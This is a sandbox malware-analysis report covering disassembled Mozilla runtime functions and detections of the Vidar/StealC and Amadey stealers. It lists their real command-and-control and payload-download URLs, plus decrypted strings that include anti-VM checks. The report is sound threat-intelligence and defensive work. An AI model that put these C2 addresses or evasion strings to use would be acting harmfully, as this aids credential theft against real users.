Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 314ab959197f7719a43079914129071714268c1b3e0e17708b395f637ce40e06
Instruction ID: 03b0fb3fc22c812d460c81e0486a95f5edc683c779c149bcbeac8c3d8f5bbcf4
Opcode Fuzzy Hash: 314ab959197f7719a43079914129071714268c1b3e0e17708b395f637ce40e06
Instruction Fuzzy Hash: 15110831E046989BDB068F6AC8544EDB7B5EF86318F44B628DC4997601EB30A5C9C758

Function 6C604730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6044B2,6C67E21C,6C67F7F8), ref: 6C60473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C60474A

Strings

GetNtLoaderAPI, xrefs: 6C604744

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 2dfd432c2c31fadb0f5ac0bd87b345cc957f8d54d949c9a54ae7f14d0207d74c
Instruction ID: 0251860e133c8cff801b7e5fa603ab64dacd565e9a992c98bcb0d873b09282dc
Opcode Fuzzy Hash: 2dfd432c2c31fadb0f5ac0bd87b345cc957f8d54d949c9a54ae7f14d0207d74c
Instruction Fuzzy Hash: DF018C753062249FDF199F668888A697BB9EB8B311F140869EA05D7300DB70D8018FBA

Function 6C656DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C656E22
__Init_thread_footer.LIBCMT ref: 6C656E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C656E1D

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: a2d2093f8ab4a3e02e54a2ea5178750cc375d4da9e92eab97db76b0f34568fdc
Instruction ID: 1202d4fb06182539dcaf529e1a4e116aec731dd303cac1ec87195060fb609e8e
Opcode Fuzzy Hash: a2d2093f8ab4a3e02e54a2ea5178750cc375d4da9e92eab97db76b0f34568fdc
Instruction Fuzzy Hash: 73F0243430E240CBDB168B79CCA4EC133725B03329F540965C44546BA1DB21E527CEBF

Function 6C609E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C609EEF

Strings

NaN, xrefs: 6C609EC1
Infinity, xrefs: 6C609EB7

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: bb2ba694f2d0904197c17811d3087ef1d4f8071cb426b4b4897a1efc21763548
Instruction ID: b3967efd2fa175d51e08b065c3124384a3561d0d3899b57864e19ddaaa41f5db
Opcode Fuzzy Hash: bb2ba694f2d0904197c17811d3087ef1d4f8071cb426b4b4897a1efc21763548
Instruction Fuzzy Hash: 49F08770604251CADB1A8F2ADB89F9033F2AB47319F210E19C9040AA81D3756946CAAF

Function 6C606C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0Kcl,?,6C634B30,80000000,?,6C634AB7,?,6C5F43CF,?,6C5F42D2), ref: 6C606C42

Part of subcall function 6C60CA10: malloc.MOZGLUE(?), ref: 6C60CA26

moz_xmalloc.MOZGLUE(0Kcl,?,6C634B30,80000000,?,6C634AB7,?,6C5F43CF,?,6C5F42D2), ref: 6C606C58

Strings

0Kcl, xrefs: 6C606C33, 6C606C41, 6C606C57

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0Kcl
API String ID: 1967447596-2809417867
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 2a2afc2a9ea5e9cd0dc05f59da0f7059c75adf7a470bc7f77a360659ff1cafe9
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: ACE086F1B505055A9B0C997C9E0A56A72C89B153A87044A35EC23E6BC8FA94E5D0816E

Function 6C603850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C67F860), ref: 6C60385C
ReleaseSRWLockExclusive.KERNEL32(6C67F860,?), ref: 6C603871

Strings

,gl, xrefs: 6C60387A

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,gl
API String ID: 17069307-2366101372
Opcode ID: 559b8e3496612ae5bca25d6306e510ff67095af5ff254aed5cbf236d070f8192
Instruction ID: 24b891d54cdff3acf1b36bdc2206a1b95d95af661d2eaad4440b49d9263eb207
Opcode Fuzzy Hash: 559b8e3496612ae5bca25d6306e510ff67095af5ff254aed5cbf236d070f8192
Instruction Fuzzy Hash: 9DE0DF31A19A289B872A9F979545D8A3BB8FE437917044C55F42927A11D730D0408AFE

Function 6C60BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C60BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C60BEF5

Strings

cryptbase.dll, xrefs: 6C60BEF0

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: b5478b9462832c9bf082193f3073888290d0c568fbbd595b3ce4440e9144b27e
Instruction ID: bde5cf90a6e7b08173febbaa11c980b502006d19d98724cc45728873e42f9305
Opcode Fuzzy Hash: b5478b9462832c9bf082193f3073888290d0c568fbbd595b3ce4440e9144b27e
Instruction Fuzzy Hash: CBD023313C4208E7C709AB518D0DF69377497813A5F10C420F31554952C7F09413CF6C

Function 6C64B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C64B2C9,?,00000000,?,6C64B127,?,?,?,?,?,?,?,?,?,6C64AE52), ref: 6C64B628

Part of subcall function 6C6490E0: free.MOZGLUE(00000000,00000000,00000000,?,6C64B6F6,?,?,?,?,?,6C64B127), ref: 6C6490FF
Part of subcall function 6C6490E0: free.MOZGLUE(?,00000000,00000000,?,6C64B6F6,?,?,?,?,?,6C64B127), ref: 6C649108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C64B2C9,?,00000000,?,6C64B127,?,?,?,?,?,?,?,?,?,6C64AE52), ref: 6C64B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C64B2C9,?,00000000,?,6C64B127,?,?,?,?,?,?,?,?,?,6C64AE52), ref: 6C64B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C64B127,?,?,?,?,?,?,?,?), ref: 6C64B74D

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 8dcd24dc833db649096929021ceb599262ac5db911adf5ee92ed766146a5167d
Instruction ID: 639925f5e71829f1a687502708083c36fe715e52cd743d43863e141c3d1aeab9
Opcode Fuzzy Hash: 8dcd24dc833db649096929021ceb599262ac5db911adf5ee92ed766146a5167d
Instruction Fuzzy Hash: 7E51BF71A05A168FDB14CF18C9847AEB7B5FFC5308F55C52DC85AABB10DB31A804CBA9

Function 6C64DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C63FF2A), ref: 6C64DFFD

Part of subcall function 6C6490E0: free.MOZGLUE(00000000,00000000,00000000,?,6C64B6F6,?,?,?,?,?,6C64B127), ref: 6C6490FF
Part of subcall function 6C6490E0: free.MOZGLUE(?,00000000,00000000,?,6C64B6F6,?,?,?,?,?,6C64B127), ref: 6C649108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C63FF2A), ref: 6C64E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C63FF2A), ref: 6C64E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C63FF2A), ref: 6C64E0FE

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 0017eafe5c40ac1e3266dfda4826a40f53f1df39f464279979b4579af67d7833
Instruction ID: df914ade6e40803085c813ff3cb4bf45ed6c4654add7276e551fa5f7c785dec8
Opcode Fuzzy Hash: 0017eafe5c40ac1e3266dfda4826a40f53f1df39f464279979b4579af67d7833
Instruction Fuzzy Hash: 7641E471604216CFEB14CF98C88035AB7B6AB45709F14C939D526DB740E732E914CBDA

Function 6C646E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C646EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C646EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C646F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C646F5C

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 0435e2144dcb32c2caac5c4a8d096ba227c30ca1066ce73e8d24587ca332f8ef
Instruction ID: aa2d8b5582d9b64729237693f140dbee15a7026ae36aec2578c4399e8cad8076
Opcode Fuzzy Hash: 0435e2144dcb32c2caac5c4a8d096ba227c30ca1066ce73e8d24587ca332f8ef
Instruction Fuzzy Hash: 2D31E371A1060A8FDB44CF2CC980AAE73FAEB85304F50C639D45AC7651EB32E659C7A4

Function 6C65B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C600A4D), ref: 6C65B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C600A4D), ref: 6C65B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C600A4D), ref: 6C65B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C600A4D), ref: 6C65B67F

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 076f0341def48c2856852323488a62df40f2416389f6e6b3ed81de3e98ec90ee
Instruction ID: c23b2672edeb622b8c6a9b748d6a43e3faaad7f54890abfe2f220f122e598986
Opcode Fuzzy Hash: 076f0341def48c2856852323488a62df40f2416389f6e6b3ed81de3e98ec90ee
Instruction Fuzzy Hash: 1331E671A012268FDB14CF59C88465EBBF5FFC1304FA68969C8069B381DB31E925CBE5

Function 6C62F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C62F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C62F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C62F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C62F668

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: d88d0c45e0c69dde644ed4b5e6c6c90efef5522fb6d1d90c653d7cabbef341a8
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 7F316F71A00624AFCB14CF1ECCC0E9B77B5EB94354B188538FA4A9BB04D636E9448B99

Function 6C6426B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6426C1
free.MOZGLUE(?), ref: 6C6426E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6426FF
free.MOZGLUE ref: 6C64270D

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: bf16d9187f49f53a42b334f696d146f08f7b52ea539854f7b31d3246b060455f
Instruction ID: 13c31a334c50f1af691b0acc2cd82d4188c51f604d78f7e48d683685b78cfcc5
Opcode Fuzzy Hash: bf16d9187f49f53a42b334f696d146f08f7b52ea539854f7b31d3246b060455f
Instruction Fuzzy Hash: 9BF0F9B2B012006BE7009A19D8C895BB7A9EF4135DB308035EA16C3B01E332F919C7AD

Source: http://77.91.77.81/mine/amadka.exe	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/cost/go.exe	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/vcruntime140.dllw9	Avira URL Cloud: Label: malware
Source: http://77.91.77.82/Hun4Ko/index.php	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/softokn3.dll	Avira URL Cloud: Label: malware
Source: http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/stealc/random.exe50673b5d7	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/mozglue.dll	Avira URL Cloud: Label: malware
Source: http://77.91.77.82/Hun4Ko/index.php?	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/nss3.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	Avira URL Cloud: Label: malware
Source: http://77.91.77.82/Hun4Ko/index.php;	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/stealc/random.exe3U	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/920475a59bac849d.phpD	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/mine/amadka.exephprefoxx	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/mine/amadka.exe00	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/freebl3.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/920475a59bac849d.php	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/920475a59bac849d.phpon	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/920475a59bac849d.phpN	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/920475a59bac849d.phpW	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/cost/go.exeData	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/sqlite3.dll	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/stealc/random.exe	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/cost/go.exe00	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/mine/amadka.exea	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/msvcp140.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/920475a59bac849d.phph	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/mozglue.dllrK	Avira URL Cloud: Label: malware

Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\amadka[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://85.28.47.4/920475a59bac849d.php"}
Source: 2e80f9dd27.exe.7924.12.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://85.28.47.4/920475a59bac849d.php"}
Source: explorti.exe.7564.10.memstrmin	Malware Configuration Extractor: Amadey {"C2 url": ["http://77.91.77.82/Hun4Ko/index.php", "http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php"]}

Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\amadka[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Joe Sandbox ML: detected

Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: GetProcAddress
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: LoadLibraryA
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: lstrcatA
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: OpenEventA
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: CreateEventA
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: CloseHandle
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: Sleep
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: VirtualFree
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: GetSystemInfo
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: VirtualAlloc
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: HeapAlloc
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: GetComputerNameA
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: lstrcpyA
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: GetProcessHeap
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: GetCurrentProcess
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: lstrlenA
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: ExitProcess
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: GetSystemTime
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: advapi32.dll
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: gdi32.dll
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: user32.dll
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: crypt32.dll
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: ntdll.dll
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: GetUserNameA
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: CreateDCA
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: GetDeviceCaps
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: ReleaseDC
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: sscanf
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: VMwareVMware
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: HAL9TH
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: JohnDoe
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: DISPLAY
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: http://85.28.47.4
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: /920475a59bac849d.php
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: /69934896f997d5bb/
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: jony
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: GetFileAttributesA
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: GlobalLock
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: HeapFree
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: GetFileSize
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: GlobalSize
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: IsWow64Process
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: Process32Next
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: GetLocalTime
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: FreeLibrary
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: GetTimeZoneInformation
